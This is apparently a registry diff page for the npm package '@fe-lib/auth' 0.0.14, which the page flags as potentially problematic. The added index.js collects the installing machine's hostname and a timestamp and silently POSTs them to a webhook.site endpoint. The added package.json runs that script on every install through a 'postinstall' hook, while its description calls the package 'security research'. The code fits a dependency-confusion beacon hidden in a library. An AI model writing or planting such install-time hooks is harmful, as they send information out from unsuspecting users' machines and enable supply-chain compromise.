@fe-lib/auth 0.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @fe-lib/auth might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +23 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const data = JSON.stringify({
5
+ package: '@fe-lib/auth',
6
+ hostname: os.hostname(),
7
+ timestamp: new Date().toISOString()
8
+ });
9
+
10
+ const req = https.request({
11
+ hostname: 'webhook.site',
12
+ port: 443,
13
+ path: '/7c01aa03-15f8-4cd3-9d74-12003d2c661d',
14
+ method: 'POST',
15
+ headers: {
16
+ 'Content-Type': 'application/json',
17
+ 'Content-Length': data.length
18
+ }
19
+ }, res => console.log('Installed'));
20
+
21
+ req.on('error', () => {});
22
+ req.write(data);
23
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@fe-lib/auth",
3
+ "version": "0.0.14",
4
+ "description": "Security research package - demo.nuum.ru",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }